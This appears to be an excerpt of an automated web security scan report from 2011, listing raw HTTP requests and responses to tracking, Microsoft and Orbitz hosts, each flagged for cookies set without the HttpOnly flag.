HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:16 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAC[CE]; Expires=Mon, 1 Feb 2016 19:21:16 GMT; Domain=.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s17696109912358?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:16 GMT Last-Modified: Thu, 03 Feb 2011 19:21:16 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www30 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAD[CE]; Expires=Mon, 1 Feb 2016 19:21:17 GMT; Domain=.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s21560784257017 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE];
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:17 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAD[CE]; Expires=Mon, 1 Feb 2016 19:21:17 GMT; Domain=.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s21560784257017?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:17 GMT Last-Modified: Thu, 03 Feb 2011 19:21:17 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www27 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAE[CE]; Expires=Mon, 1 Feb 2016 19:21:18 GMT; Domain=.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s23100360115058 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE];
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:18 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAE[CE]; Expires=Mon, 1 Feb 2016 19:21:18 GMT; Domain=.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s23100360115058?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:18 GMT Last-Modified: Thu, 03 Feb 2011 19:21:18 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www19 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAD[CE]; Expires=Mon, 1 Feb 2016 19:21:17 GMT; Domain=.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s23355576898902 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE];
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:17 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAD[CE]; Expires=Mon, 1 Feb 2016 19:21:17 GMT; Domain=.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s23355576898902?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:17 GMT Last-Modified: Thu, 03 Feb 2011 19:21:17 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www25 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and does not have the HttpOnly flag set:
s_vi_x60bafx7Bzx7Djmnaajx7Dx7C=[CS]v4|0-0|4D49AEAF[CE]; Expires=Mon, 1 Feb 2016 19:21:19 GMT; Domain=.2o7.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturebanners/1/H.9--NS/0 HTTP/1.1 Host: omniturebanners.112.2o7.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:19 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_x60bafx7Bzx7Djmnaajx7Dx7C=[CS]v4|0-0|4D49AEAF[CE]; Expires=Mon, 1 Feb 2016 19:21:19 GMT; Domain=.2o7.net; Path=/ Location: https://omniturebanners.112.2o7.net/b/ss/omniturebanners/1/H.9--NS/0?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:19 GMT Last-Modified: Thu, 03 Feb 2011 19:21:19 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www20 Content-Length: 0 Content-Type: text/plain Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: omtrdc.net Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>301 Moved Permanently</title> </head><body> <h1>Moved Permanently</h1> <p>The document has moved <a href="http://www.omniture.com ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /en-us/bing/ff808490.aspx HTTP/1.1 Host: onlinehelp.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: A=I&I=AxUFAAAAAADvBwAAMWItHgFApdkzxQaDuho8RA!!&M=1; domain=.microsoft.com; expires=Sat, 02-Feb-2041 15:38:20 GMT; path=/ Set-Cookie: ADS=SN=175A21EF; domain=.microsoft.com; path=/ Set-Cookie: ixpLightBrowser=0; domain=.microsoft.com; expires=Sat, 02-Feb-2041 15:38:20 GMT; path=/ P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Wed, 02 Feb 2011 15:38:19 GMT Content-Length: 34741
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /en-us/msn/thebasics.aspx HTTP/1.1 Host: onlinehelp.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: A=I&I=AxUFAAAAAAB9BwAAv+cg4N9BcsGpzhmgViEJWQ!!&M=1; domain=.microsoft.com; expires=Sat, 02-Feb-2041 15:38:20 GMT; path=/ Set-Cookie: ADS=SN=175A21EF; domain=.microsoft.com; path=/ Set-Cookie: ixpLightBrowser=0; domain=.microsoft.com; expires=Sat, 02-Feb-2041 15:38:20 GMT; path=/ P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Wed, 02 Feb 2011 15:38:19 GMT Content-Length: 21044
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: orbitz.com Proxy-Connection: keep-alive Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: anon=8916556551294354144817; OrbitzRegistration="N,0,0,0"; BetaGroup="01/27/2011 19:45:19|A|A|N|C|N|H|B|P|N"; PackagingContext=APH; DataPersistence="||||||Same as pick-up||||||0|0|false|||||||||||false||false|false|||||||||||||||||||||6|New+York%2C+NY|Orlando%2C+FL|02/11/11|||||||||mm/dd/yy|02/17/11||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy|||||||||mm/dd/yy||||||||vacation_tab|"; WT_FPC=id=173.193.214.243-3953790720.30125555:lv=1296342267897:ss=1296342267897
Response
HTTP/1.1 301 MOVED PERMANENTLY Location: http://www.orbitz.com/ Set-Cookie: NSC_xxx.pscjua.dpn.80_gxe=ffffffff09e3087545525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /1aWWoA HTTP/1.1 Host: ow.ly Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /ping/?title=Flyer&blogurl=b2932 HTTP/1.1 Host: pingomatic.com Proxy-Connection: keep-alive Referer: http://medienfreunde.com/lab/innerfade/ Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/102504215.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCF+BTCGI0VkQ0a9c=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:23 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64ab&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:23 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:22 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/1084292.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9iATaSM0VkT/a+o=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:25 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b5&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:25 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:25 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/114261376.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; 